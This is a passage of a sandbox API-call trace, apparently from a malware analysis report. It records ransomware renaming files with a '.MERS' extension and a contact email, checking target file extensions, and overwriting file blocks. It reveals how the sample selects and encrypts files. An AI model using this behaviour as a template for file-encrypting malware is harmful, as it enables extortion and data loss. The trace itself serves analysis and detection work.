Flags=0x0, Size=0x10) returned 0x6404f0 [0033.675] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6404f0, Size=0x20) returned 0x66f5c0 [0033.675] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.675] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0033.675] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff58 | out: OldValue=0x314ff58*=0x0) returned 1 [0033.676] lstrlenW (lpString="kernel32.dll") returned 12 [0033.676] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f610 | out: hHeap=0x5f0000) returned 1 [0033.676] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.676] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f5c0 | out: hHeap=0x5f0000) returned 1 [0033.676] Sleep (dwMilliseconds=0x64) [0033.906] lstrcmpiW (lpString1=".ttf", lpString2=".MERS") returned 1 [0033.906] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0033.906] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0033.965] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=47452) returned 1 [0033.965] CloseHandle (hObject=0x1a8) returned 1 [0033.965] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0033.965] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.965] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.965] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.965] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.965] lstrlenW (lpString=".doc") returned 4 [0033.965] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0033.965] lstrlenW (lpString=".docx") returned 5 [0033.965] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0033.965] lstrlenW (lpString=".pdf") returned 4 [0033.965] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0033.965] lstrlenW (lpString=".xls") returned 4 [0033.965] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0033.965] lstrlenW (lpString=".xlsx") returned 5 [0033.965] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0033.965] lstrlenW (lpString=".ppt") returned 4 [0033.965] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0033.965] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.965] lstrlenW (lpString=".zip") returned 4 [0033.966] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0033.966] lstrlenW (lpString=".rar") returned 4 [0033.966] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0033.966] lstrlenW (lpString=".bz2") returned 4 [0033.966] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0033.966] lstrlenW (lpString=".7z") returned 3 [0033.966] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0033.966] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.966] lstrlenW (lpString=".dbf") returned 4 [0033.966] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0033.966] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.966] lstrlenW (lpString=".1cd") returned 4 [0033.966] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0033.966] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.966] lstrlenW (lpString=".jpg") returned 4 [0033.966] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0033.966] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.966] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.966] lstrlenW (lpString=".doc") returned 4 [0033.966] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0033.966] lstrlenW (lpString=".docx") returned 5 [0033.966] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0033.966] lstrlenW (lpString=".pdf") returned 4 [0033.966] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0033.966] lstrlenW (lpString=".xls") returned 4 [0033.966] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0033.966] lstrlenW (lpString=".xlsx") returned 5 [0033.966] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0033.966] lstrlenW (lpString=".ppt") returned 4 [0033.966] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0033.966] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.966] lstrlenW (lpString=".zip") returned 4 [0033.966] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0033.966] lstrlenW (lpString=".rar") returned 4 [0033.967] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0033.967] lstrlenW (lpString=".bz2") returned 4 [0033.967] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0033.967] lstrlenW (lpString=".7z") returned 3 [0033.967] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0033.967] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.967] lstrlenW (lpString=".dbf") returned 4 [0033.967] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0033.967] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.967] lstrlenW (lpString=".1cd") returned 4 [0033.967] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0033.967] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0033.967] lstrlenW (lpString=".jpg") returned 4 [0033.967] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0033.967] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0033.967] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0033.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0033.967] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2506240) returned 1 [0033.967] CloseHandle (hObject=0x1a8) returned 1 [0033.967] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0033.967] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.968] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0033.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0033.968] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0033.968] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0033.968] ReadFile (in: hFile=0x1a8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.206] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.206] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.222] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.222] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.222] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.340] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.340] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0034.431] SetEndOfFile (hFile=0x1a8) returned 1 [0034.431] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3ef2de0 [0034.480] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.480] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef2de0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.481] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.482] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef2de0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.487] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.487] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef2de0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.491] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3ef2de0 | out: hHeap=0x5f0000) returned 1 [0034.491] CloseHandle (hObject=0x1a8) returned 1 [0035.249] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.250] lstrlenW (lpString=".doc") returned 4 [0035.250] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0035.250] lstrlenW (lpString=".docx") returned 5 [0035.250] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0035.250] lstrlenW (lpString=".pdf") returned 4 [0035.250] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0035.250] lstrlenW (lpString=".xls") returned 4 [0035.250] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0035.250] lstrlenW (lpString=".xlsx") returned 5 [0035.250] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0035.250] lstrlenW (lpString=".ppt") returned 4 [0035.250] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.250] lstrlenW (lpString=".zip") returned 4 [0035.250] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0035.250] lstrlenW (lpString=".rar") returned 4 [0035.250] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0035.250] lstrlenW (lpString=".bz2") returned 4 [0035.250] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0035.250] lstrlenW (lpString=".7z") returned 3 [0035.250] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.250] lstrlenW (lpString=".dbf") returned 4 [0035.250] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.250] lstrlenW (lpString=".1cd") returned 4 [0035.250] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.250] lstrlenW (lpString=".jpg") returned 4 [0035.250] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.250] lstrlenW (lpString=".doc") returned 4 [0035.251] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0035.251] lstrlenW (lpString=".docx") returned 5 [0035.251] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0035.251] lstrlenW (lpString=".pdf") returned 4 [0035.251] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0035.251] lstrlenW (lpString=".xls") returned 4 [0035.251] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0035.251] lstrlenW (lpString=".xlsx") returned 5 [0035.251] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0035.251] lstrlenW (lpString=".ppt") returned 4 [0035.251] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0035.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.251] lstrlenW (lpString=".zip") returned 4 [0035.251] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0035.251] lstrlenW (lpString=".rar") returned 4 [0035.251] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0035.251] lstrlenW (lpString=".bz2") returned 4 [0035.251] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0035.251] lstrlenW (lpString=".7z") returned 3 [0035.251] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0035.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.251] lstrlenW (lpString=".dbf") returned 4 [0035.251] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0035.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.251] lstrlenW (lpString=".1cd") returned 4 [0035.251] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0035.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.251] lstrlenW (lpString=".jpg") returned 4 [0035.251] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0035.251] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0035.251] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0035.251] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.252] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2513920) returned 1 [0035.252] CloseHandle (hObject=0x1a8) returned 1 [0035.252] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0035.252] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.252] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0035.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.253] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0035.253] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.253] ReadFile (in: hFile=0x1a8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.428] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.429] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.482] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.482] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.482] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.514] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.514] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0035.768] SetEndOfFile (hFile=0x1a8) returned 1 [0035.768] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f97e28 [0035.772] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.772] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f97e28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f97e28*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.773] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.773] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f97e28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f97e28*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.779] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.779] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f97e28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f97e28*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.781] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f97e28 | out: hHeap=0x5f0000) returned 1 [0035.781] CloseHandle (hObject=0x1a8) returned 1 [0036.459] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0036.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.459] lstrlenW (lpString=".doc") returned 4 [0036.459] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.459] lstrlenW (lpString=".docx") returned 5 [0036.459] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.459] lstrlenW (lpString=".pdf") returned 4 [0036.459] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.459] lstrlenW (lpString=".xls") returned 4 [0036.459] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.459] lstrlenW (lpString=".xlsx") returned 5 [0036.459] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.459] lstrlenW (lpString=".ppt") returned 4 [0036.459] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.459] lstrlenW (lpString=".zip") returned 4 [0036.459] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.459] lstrlenW (lpString=".rar") returned 4 [0036.459] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.459] lstrlenW (lpString=".bz2") returned 4 [0036.459] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.460] lstrlenW (lpString=".7z") returned 3 [0036.460] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.460] lstrlenW (lpString=".dbf") returned 4 [0036.460] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.460] lstrlenW (lpString=".1cd") returned 4 [0036.460] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.460] lstrlenW (lpString=".jpg") returned 4 [0036.460] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.460] lstrlenW (lpString=".doc") returned 4 [0036.460] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.460] lstrlenW (lpString=".docx") returned 5 [0036.460] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.460] lstrlenW (lpString=".pdf") returned 4 [0036.460] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.460] lstrlenW (lpString=".xls") returned 4 [0036.460] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.460] lstrlenW (lpString=".xlsx") returned 5 [0036.460] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.460] lstrlenW 